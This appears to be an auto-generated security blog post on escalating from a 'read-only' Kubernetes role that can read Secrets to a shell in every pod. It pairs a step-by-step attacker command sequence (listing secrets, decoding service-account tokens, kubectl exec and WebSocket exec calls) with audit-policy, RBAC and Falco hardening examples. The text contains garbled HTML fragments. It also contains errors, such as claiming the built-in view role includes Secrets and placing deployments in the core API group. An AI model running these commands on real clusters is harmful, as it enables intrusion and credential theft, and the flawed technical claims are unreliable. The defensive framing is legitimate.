Listen to this Post
Introduction:
A groundbreaking cybersecurity research preview reveals a critical technique that allows threat actors to achieve full cluster compromise in Kubernetes environments. By exploiting a commonly granted “read-only” Role-Based Access Control (RBAC) permission, an attacker can execute arbitrary commands in every pod, effectively seizing control without triggering standard Kubernetes audit logs. This vulnerability underscores a profound misconception in cloud-native security: that read permissions are inherently safe.
Learning Objectives:
- Understand the specific Kubernetes RBAC permission and API objects that enable this privilege escalation chain.
- Learn the step-by-step methodology an attacker would use to move from a “read-only” role to pod command execution.
- Implement defensive strategies, including hardened RBAC, audit logging configurations, and intrusion detection rules to mitigate this risk.
You Should Know:
- The Dangerous Permission: `list` and `get` on Secrets
The core of this technique lies not in a software bug, but in a dangerous permission pairing often included in “view” or “read-only” cluster roles. While `get` permissions on resources like pods are common, the ability to `list` and `get` Secrets is the critical enabler. A Kubernetes Secret is an object that contains a small amount of sensitive data, such as a password, token, or key.
Step-by-step guide explaining what this does and how to use it:
An attacker with these permissions first enumerates all available secrets in the cluster, particularly searching for service account tokens. Every pod by default mounts a service account token at /var/run/secrets/kubernetes.io/serviceaccount/token. In more permissive setups, pods may have additional secrets mounted.
Attacker Command Sequence (Linux/macOS Terminal) 1. List all secrets in all namespaces kubectl get secrets --all-namespaces <ol> <li>Get the details of a specific secret that appears to be a service account token kubectl get secret default-token-xyz -n kube-system -o yaml</p></li> <li><p>Decode the base64-encoded token from the secret YAML echo "ZXlKaGJHY2lPaUpTVXp..." | base64 --decode
The decoded token is a JSON Web Token (JWT) that can be used to authenticate to the Kubernetes API as the associated service account, bypassing the original “read-only” user’s restrictions.
2. Identifying High-Privilege Service Accounts
Not all service accounts are created equal. The attacker’s goal is to find a token for a service account bound to a more powerful role, such as one that can `create` pods or `exec` into existing ones. Many clusters have system components or management tools that run with elevated privileges for convenience.
Step-by-step guide explaining what this does and how to use it:
The attacker uses the stolen token to query the cluster for roles and bindings, mapping the permissions landscape.
Set the stolen token as the authentication context export KUBE_TOKEN="<decoded_jwt_token>" Use the token to query for cluster roles and bindings curl -k -H "Authorization: Bearer $KUBE_TOKEN" https://<K8S_API_SERVER>:6443/apis/rbac.authorization.k8s.io/v1/clusterrolebindings Alternatively, if kubectl is configured with the new token: kubectl --token=$KUBE_TOKEN get clusterrolebindings -o wide
The attacker analyzes the output to find a service account bound to a `ClusterRole` like cluster-admin, edit, or a custom role with `pods/exec` permissions.
- Executing Commands in Pods via the Kubernetes API
With a privileged service account token in hand, the attacker can now interact with the Kubernetes API to execute commands in pods. The `pods/exec` subresource is the primary target. This allows running a shell or single command inside a container.
Step-by-step guide explaining what this does and how to use it:
The attacker can either use `kubectl` or direct API calls. Targeting a pod in the `kube-system` namespace (e.g., a KubeDB pod) offers the highest potential impact.
Method 1: Using kubectl exec with the stolen token kubectl --token=$KUBE_TOKEN exec -it <pod-name> -n <namespace> -- /bin/sh Method 2: Direct API call to establish a remote shell session This requires a WebSocket connection. A tool like `curl` with the `--include` flag can show the initial handshake. curl -k -H "Authorization: Bearer $KUBE_TOKEN" \ -H "Upgrade: websocket" \ -H "Connection: Upgrade" \ -H "Sec-WebSocket-Key: $(openssl rand -base64 16)" \ -H "Sec-WebSocket-Version: 13" \ "https://<K8S_API_SERVER>:6443/api/v1/namespaces/<namespace>/pods/<pod-name>/exec?command=/bin/bash&stdin=true&stdout=true&stderr=true&tty=true"
Once inside a critical pod, the attacker can steal data, implant backdoors, or use the pod’s service account for lateral movement.
4. Why Kubernetes AuditPolicy Misses the Attack
The technique is stealthy because the critical escalation steps—list and `get` on Secrets—are often not logged by default. The Kubernetes Audit Policy configuration is granular and must explicitly request logging for these “read” operations on sensitive resources. Most default policies log only “write” (create, update, patch, delete) requests.
Step-by-step guide explaining what this does and how to use it:
To verify and configure logging for these events, a cluster administrator must examine and update the Audit Policy.
Sample rule to add to your cluster's audit-policy.yaml - level: Metadata or 'Request' resources: - group: "" resources: ["secrets"] verbs: ["get", "list", "watch"]
After updating the policy, the API server must be restarted or the configuration reloaded. The logs (typically sent to a backend like Falco, Elasticsearch, or a SIEM) will then contain entries for secret access attempts, providing crucial detection data.
5. Hardening RBAC: The Principle of Least Privilege
The primary mitigation is strict RBAC governance. “Read-only” roles must be meticulously defined to exclude access to Secrets, especially listing them. Use built-in roles like `view` with extreme caution, as they include secret access.
Step-by-step guide explaining what this does and how to use it:
Create a custom `Role` or `ClusterRole` that explicitly denies secret access.
custom-readonly-role.yaml apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: name: safe-view rules: - apiGroups: [""] resources: ["pods", "services", "configmaps", "deployments"] Explicitly list safe resources verbs: ["get", "list", "watch"] DO NOT include "secrets" in the resources list.
Bind this role to users or service accounts instead of the broad `view` role.
6. Implementing Intrusion Detection for Token Theft
Security monitoring must assume breach and look for anomalous patterns indicative of this attack chain. This includes a service account token being used from an unusual source IP or a user/node, or a “read-only” account making sequential `list` and `get` calls on secrets followed by `exec` attempts.
Step-by-step guide explaining what this does and how to use it:
Create a detection rule for a tool like Falco or write a query for your SIEM.
Example Falco rule (simplified)
- rule: K8s Service Account Token Used From Unusual Pod
desc: Detect a service account token being used by a pod not associated with that account.
condition: >
k8s_audit and
ka.verb in ("create", "patch") and
ka.target.resource="pods/exec" and
not k8s.pod.name startswith "<expected-pod-prefix>"
output: "Pod exec attempted with potentially stolen token (pod=%k8s.pod.name)"
priority: CRITICAL
7. Mitigation via Pod Security and Network Policies
Contain the blast radius. Use Pod Security Standards to prevent pods from mounting the default service account token or running with overly permissive privileges. Combine this with network policies to restrict pod-to-API-server communication.
In your Pod spec, automount the default token only if absolutely necessary. automountServiceAccountToken: false Apply a Pod Security Admission (PSA) configuration to enforce baseline/restricted standards. In the namespace's label: pod-security.kubernetes.io/enforce: baseline
What Undercode Say:
- Key Takeaway 1: The attack surface of “read-only” access is dangerously underestimated. Permissions to `list` sensitive resources like Secrets are a potent privilege escalation vector, not a benign observation tool.
- Key Takeaway 2: Default security observability configurations are insufficient. The lack of audit logging for read operations on critical resources creates a blind spot that attackers actively exploit.
The research highlights a systemic issue in Kubernetes security postures: over-permissive “view” roles combined with inadequate audit logging. Defenders must shift their mindset, treating the ability to enumerate secrets as equivalent to the ability to use them. This isn’t a vulnerability in the Kubernetes codebase, but a pervasive misconfiguration pattern that becomes a feature for red teams and a critical flaw for blue teams. Remediation requires a cultural shift towards true least privilege and investing in granular audit trail collection.
Prediction:
This research will trigger a immediate scramble across DevOps and security teams to audit and restrict RBAC bindings, particularly for monitoring and CI/CD tools that often use broad “view” permissions. In the short term, we will see an increase in detection rules and cloud security posture management (CSPM) alerts targeting secret `list` permissions. In the longer term, it will accelerate the adoption of more sophisticated secret management solutions (e.g., external secret operators) and the deprecation of in-cluster secret storage for highly sensitive tokens. Furthermore, Kubernetes distributions and managed services (EKS, GKE, AKS) may begin to ship with more restrictive default `view` roles and audit policies, fundamentally changing the baseline security configuration for new clusters.
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Grahamhelton Im – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
